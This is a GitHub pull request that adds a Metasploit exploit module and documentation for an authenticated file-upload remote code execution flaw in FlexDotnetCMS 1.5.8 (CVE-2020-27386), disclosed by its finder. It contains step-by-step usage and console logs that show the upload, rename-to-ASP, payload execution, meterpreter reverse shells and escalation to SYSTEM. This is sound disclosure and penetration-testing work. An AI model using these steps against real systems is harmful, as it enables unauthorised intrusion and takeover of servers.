

New issue

Jump to bottom

Add flexdotnetcms v1.5.8 exploit module and docs #14339

Merged space-r7 merged 5 commits into rapid7:master from ErikWynter:flexdotnetcms on Dec 7, 2020

Conversation 32 Commits 5 Checks 0 Files changed 2



ErikWynter commented on Nov 3, 2020 • edited

Contributor

About

This change adds a new module to /modules/exploits/windows/http/ that exploits an arbitrary file upload vulnerability in FlexDotnetCMS v1.5.8 (CVE-2020-27386) and prior in order to execute arbitrary commands. The change also adds documentation for this module. I discovered and disclosed the vulnerability, which has been fixed in v1.5.9.

Vulnerable system

FlexDotnetCMS v1.5.8 and prior

Verification Steps

1. Install the module as usual
2. Start msfconsole
3. Do: use exploit/multi/http/FlexDotnetCMS_upload_exec
4. Do: set RHOSTS [IP]
5. Do: set USERNAME [username for the FlexDotnetCMS account]
6. Do: set PASSWORD [password for the FlexDotnetCMS account]
7. Do: set target [target]
8. Do: set payload [payload]
9. Do: set LHOST [IP]
10. Do: exploit

Options

PASSWORD

The password for the FlexDotnetCMS account to authenticate with.

TARGETURI

The base path to FlexDotnetCMS. The default value is / .

USERNAME

The username for the FlexDotnetCMS account to authenticate with. The default value is admin .

Targets

Id	Name
--	----
0	Windows (x86)
1	Windows (x64)

Scenarios

FlexDotnetCMS v1.5.8 running on Windows Server 2012 - Windows x86 target

```
msf6 exploit(windows/http/flexdotnetcms_upload_exec) > show options
Module options (exploit/windows/http/flexdotnetcms_upload_exec):
  Name      Current Setting  Required  Description
  ----      -
  PASSWORD  Password1        yes       Password to authenticate with
  Proxies    no                no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.230    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:cpath'
  RPORT     1113             yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to FlexDotnetCMS
  USERNAME   admin            yes       Username to authenticate with
  VHOST      no               no        HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.1.128    yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:
  Id  Name
  --  -
  0    Windows (x86)

msf6 exploit(windows/http/flexdotnetcms_upload_exec) > run
[*] Started reverse TCP handler on 192.168.1.128:4444
[*] Executing automatic check (disable AutoCheck to override)
```

```
[+] Successfully authenticated to FlexDotnetCMS
[*] FlexDotnetCMS is installed on the target at C:/Users/Administrator/Desktop/FlexDotnetCMS-1.5.8/
[*] Uploaded test file wxoI7s6knq.txt. Attempting to rename the file to wxoI7s6knq.asp...
[+] Successfully renamed test file wxoI7s6knq.txt to wxoI7s6knq.asp (this is a copy of wxoI7s6knq.txt, which remains on the server)
[+] The target is vulnerable. Target is FlexDotnetCMS v1.5.8 or lower.
[*] Renaming wxoI7s6knq.txt to wxoI7s6knq.asp again, this time adding the payload
[+] Successfully added the ASP payload to wxoI7s6knq.asp
[*] Executing the payload...
[*] Sending stage (175174 bytes) to 192.168.1.230
[*] Meterpreter session 9 opened (192.168.1.128:4444 -> 192.168.1.230:62058) at 2020-11-02 11:10:41 -0500
[+] Successfully deleted wxoI7s6knq.txt
[+] Successfully deleted wxoI7s6knq.asp
meterpreter > getuid
Server username: WIN-S623VF4MJDR\Administrator
meterpreter > getsystem
ge...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
tmeterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

FlexDotnetCMS v1.5.8 running on Windows Server 2012 - Windows x64 target

```
msf6 exploit(windows/http/flexdotnetcms_upload_exec) > run
[*] Started reverse TCP handler on 192.168.1.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] Successfully authenticated to FlexDotnetCMS
[*] FlexDotnetCMS is installed on the target at C:/Users/Administrator/Desktop/FlexDotnetCMS-1.5.8/
[*] Uploaded test file Xlz30Tusi.txt. Attempting to rename the file to Xlz30Tusi.asp...
[+] Successfully renamed test file Xlz30Tusi.txt to Xlz30Tusi.asp (this is a copy of Xlz30Tusi.txt, which remains on the server)
[+] The target is vulnerable. Target is FlexDotnetCMS v1.5.8 or lower.
[*] Renaming Xlz30Tusi.txt to Xlz30Tusi.asp again, this time adding the payload
[+] Successfully added the ASP payload to Xlz30Tusi.asp
[*] Executing the payload...
[*] Sending stage (200262 bytes) to 192.168.1.230
[*] Meterpreter session 10 opened (192.168.1.128:4444 -> 192.168.1.230:62059) at 2020-11-02 11:10:55 -0500
[+] Successfully deleted Xlz30Tusi.txt
[+] Successfully deleted Xlz30Tusi.asp
meterpreter > getuid
Server username: WIN-S623VF4MJDR\Administrator
meterpreter >
```



➔ Add flexdotnetcms_upload_exec module and docs

✓ 8aceea1

ErikWynter commented on Nov 3, 2020

Contributor Author

Notes

- Please check the documentation for instructions on how to install vulnerable software for testing. I'm afraid this is somewhat of a pain in the ass because the dependencies include a bunch of old software, but everything is still available for free. Visual Studio 2015 community is available here: <https://visualstudio.microsoft.com/vs/older-downloads/>, but you'll need to create a (free) account if you don't already have one.
- As mentioned, I requested a CVE ID for this issue, but haven't heard anything from MITRE in almost a month. Because it has been patched, I didn't feel like sitting on it anymore. Plus I figured that this way, Tod at Rapid7 might be able to help assign the CVE.

🗨️ ErikWynter mentioned this pull request on Nov 3, 2020

Add HorizontCMS 1.0.0-beta exploit module and documentation #14340

➔ Merged

🔖 space-r7 added docs module labels on Nov 3, 2020

gwillcox-r7 commented on Nov 3, 2020 • edited

Contributor

@todb-r7 Can you take a look into this? Another case of CVE-ID's being delayed.



👁️ space-r7 reviewed on Nov 3, 2020

[View changes](#)

space-r7 left a comment

Contributor

Thanks for the module! I've just a few suggestions.

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

⚙️ Show resolved

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

⚙️ Show resolved

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

⚙️ Show resolved

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

⚙️ Show resolved

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

⚙️ Show resolved

ErikWynter commented on Nov 4, 2020

Contributor Author

Thanks for the feedback @space-r7 ! I just implemented the changes. :)



1

space-r7 self-assigned this on Nov 4, 2020

Add CVE ID

✗ 0a95891

ErikWynter commented on Nov 5, 2020

Contributor Author

@todb-r7 Can you take a look into this? Another case of CVE-ID's being delayed.

@gwillcox-r7 @todb-r7 I finally received the CVE ID last night: [CVE-2020-27386](#). I've added it to the module and docs now.



1

Add Rubocop changes

✓ 3123725

ErikWynter commented on Nov 5, 2020

Contributor Author

I forgot to run Rubocop before, added the changes now. It still complains about the use of `return` in the cleanup module, but I'm not sure what to do about that so I've left it for now.



space-r7 reviewed on Nov 20, 2020

[View changes](#)

space-r7 left a comment

Contributor

Mostly minor changes to the `check()` method.

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

Show resolved

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

Show resolved

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

Show resolved

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

Show resolved

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

Show resolved

2 hidden conversations

[Load more...](#)

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

Show resolved

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

Show resolved

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

Show resolved

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb Outdated

Show resolved

modules/exploits/windows/http/flexdotnetcms_upload_exec.rb

Show resolved

replace Checkcode:Unknown with Detected in check(), skip cleanup unle...

✓ 9417266

ErikWynter commented on Nov 23, 2020

Contributor Author

Thanks @space-r7! I implemented all the changes. Let me know if I can do anything else to help get this landed.



1

space-r7 added a commit that referenced this pull request on Dec 7, 2020

Land #14339, add flexdotnetcms rce

✗ 8e1cab0

space-r7 merged commit 9417266 into rapid7:master on Dec 7, 2020

3 checks passed

[View details](#)

Changes look good to me. Had some assistance with testing and made sure the cleanup isn't always called:

```
msf6 exploit(windows/http/flexdotnetcms_upload_exec) > set RPORT 8080
RPORT => 8080
msf6 exploit(windows/http/flexdotnetcms_upload_exec) > set VHOST localhost
VHOST => localhost
msf6 exploit(windows/http/flexdotnetcms_upload_exec) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] Successfully authenticated to FlexDotnetCMS
[*] FlexDotnetCMS is installed on the target at C:/Users/smcintyre/Downloads/FlexDotnetCMS-1.5.8/FlexDotnetCMS-1.5.8/
[*] Uploaded test file urfpyi.txt. Attempting to rename the file to urfpyi.asp...
[+] Successfully renamed test file urfpyi.txt to urfpyi.asp (this is a copy of urfpyi.txt, which remains on the server)
[*] The target is vulnerable. Target is FlexDotnetCMS v1.5.8 or lower.
[*] Renaming urfpyi.txt to urfpyi.asp again, this time adding the payload
[+] Successfully added the ASP payload to urfpyi.asp
[*] Executing the payload...
[*] Sending stage (175174 bytes) to 192.168.159.32
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.32:49372) at 2020-12-07 15:18:59 -0500
[+] Successfully deleted urfpyi.txt
[+] Successfully deleted urfpyi.asp
meterpreter > getuid
Server username: WIN-I4J71512HD3\smcintyre
meterpreter > sysinfo
Computer      : WIN-I4J71512HD3
OS            : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/http/flexdotnetcms_upload_exec) > show options
Module options (exploit(windows/http/flexdotnetcms_upload_exec)):
  Name      Current Setting  Required  Description
  ----      -
  PASSWORD  Password1          yes       Password to authenticate with
  Proxies                     no       A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.159.32     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:filepath'
  RPORT      8080               yes       The target port (TCP)
  SSL        false              no       Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                  yes       The base path to FlexDotnetCMS
  USERNAME   admin              yes       Username to authenticate with
  VHOST      localhost          no       HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.159.128 yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0    Windows (x86)



msf6 exploit(windows/http/flexdotnetcms_upload_exec) > vcheck
[-] Unknown command: vcheck.
msf6 exploit(windows/http/flexdotnetcms_upload_exec) > check
[+] Successfully authenticated to FlexDotnetCMS
[*] FlexDotnetCMS is installed on the target at C:/Users/smcintyre/Downloads/FlexDotnetCMS-1.5.8/FlexDotnetCMS-1.5.8/
[*] Uploaded test file LbRhWhjtTQ.txt. Attempting to rename the file to LbRhWhjtTQ.asp...
[+] Successfully renamed test file LbRhWhjtTQ.txt to LbRhWhjtTQ.asp (this is a copy of LbRhWhjtTQ.txt, which remains on the server)
[+] 192.168.159.32:8080 - The target is vulnerable. Target is FlexDotnetCMS v1.5.8 or lower.
[+] Successfully deleted LbRhWhjtTQ.txt
[+] Successfully deleted LbRhWhjtTQ.asp
msf6 exploit(windows/http/flexdotnetcms_upload_exec) > show targets
Exploit targets:
  Id  Name
  --  --
  0    Windows (x86)
  1    Windows (x64)

msf6 exploit(windows/http/flexdotnetcms_upload_exec) > set TARGET 1
TARGET => 1
msf6 exploit(windows/http/flexdotnetcms_upload_exec) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] Successfully authenticated to FlexDotnetCMS
[*] FlexDotnetCMS is installed on the target at C:/Users/smcintyre/Downloads/FlexDotnetCMS-1.5.8/FlexDotnetCMS-1.5.8/
[*] Uploaded test file dPFahrw.txt. Attempting to rename the file to dPFahrw.asp...
[+] Successfully renamed test file dPFahrw.txt to dPFahrw.asp (this is a copy of dPFahrw.txt, which remains on the server)
[*] The target is vulnerable. Target is FlexDotnetCMS v1.5.8 or lower.
[*] Renaming dPFahrw.txt to dPFahrw.asp again, this time adding the payload
[+] Successfully added the ASP payload to dPFahrw.asp
[*] Executing the payload...
[*] Sending stage (200262 bytes) to 192.168.159.32
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.32:49393) at 2020-12-07 15:19:20 -0500
[+] Successfully deleted dPFahrw.txt
[+] Successfully deleted dPFahrw.asp
meterpreter > getuid
Server username: WIN-I4J71512HD3\smcintyre
meterpreter > sysinfo
Computer      : WIN-I4J71512HD3
OS            : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x64/windows
meterpreter >
```



Release Notes

New module `exploits/windows/http/flexdotnetcms_upload_exec` adds an exploit for FlexDotNetCMS versions `1.5.8` and prior. This module exploits an authenticated file upload vulnerability where a valid user can upload a malicious file with an incorrect extension, rename it with the proper extension, and get code execution as the user running the server on the target.

  **space-r7** added the `rn-modules` label on Dec 7, 2020

Reviewers

 **space-r7** 

Assignees

 **space-r7**

Labels

`docs` `module` `rn-modules`

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

3 participants

